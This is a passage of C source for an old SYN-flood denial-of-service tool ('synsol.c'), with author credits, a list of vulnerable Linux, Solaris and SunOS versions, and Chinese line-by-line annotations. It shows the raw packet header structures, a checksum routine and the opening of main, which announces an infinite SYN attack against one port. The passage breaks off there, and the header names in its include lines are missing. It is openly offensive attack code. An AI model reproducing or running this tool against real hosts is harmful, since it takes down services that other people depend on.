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/* original land attack, land.c by m3lt, flc */ /* ported to 44bsd by blast and jerm */ /* ported to solaris by ziro antagonist */ /* referenced flood.c by unknown author */ /* converted into a syn attack against one port by crg */ /* please use this for educational purposes only */ /* compiles on solaris gcc -o synsol synsol.c -lsocket -lnsl */ /* additional notes: */ /* successfully compiled on solaris 2.51 and 2.6 */ /* runs: synsol */ /* */ /* tested it on: solaris 2.6 */ /* */ /* attacked against: */ /* linux 2.0.33 - vulnerable */ /* linux 2.0.30 - vulnerable */ /* linux 1.2.13 - vulnerable */ /* solaris 2.4 - vulnerable */ /* solaris 2.5.1 - vulnerable */ /* sunos 4.1.3_u3 - vulnerable */ /* solaris 2.6 - not vulnerable */ /* */ /* most of these test machines are not patched because they */ /* are in test lab. i tested the program against port 23 and */ /* every once in awhile i did get through. */ /* */ /* direct any comments, questions, improvements to */ /* packetstorm@genocide2600.com */ /* http://www.genocide2600.com/~tattooman/ */ /* your emails will be forwarded to the author, who wishes */ /* to remain known only as crg (no email addy or url) */ /*jjgirl:上面的注释的不用说了!*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /*jjgirl:上面是头文件!*/
unsigned long srcport;
struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; /*jjgirl:定义一个伪装地址的结构!*/
u_short checksum(u_short * data,u_short length) { int nleft = length; int sum=0; unsigned short *w = data; unsigned short value = 0;
while (nleft > 1) { sum += *w++; nleft -= 2; }
if (nleft == 1) { *(unsigned char *) (&value) = *(unsigned char *) w; sum += value; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >> 16); value = ~sum; return(value); } /*jjgirl:上面校验文件!包头是需要校验的,crc校验!*/
int main(int argc,char * * argv) {/*jjgirl:主程序开始了!*/ struct sockaddr_in sin; struct sockaddr_in din; struct hostent * hoste; struct hostent * host1; int j,sock,foo, flooddot=1; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; /*jjgirl:上面定义变量!*/
fprintf(stderr,"syn attack against one port.(infinite)\n");
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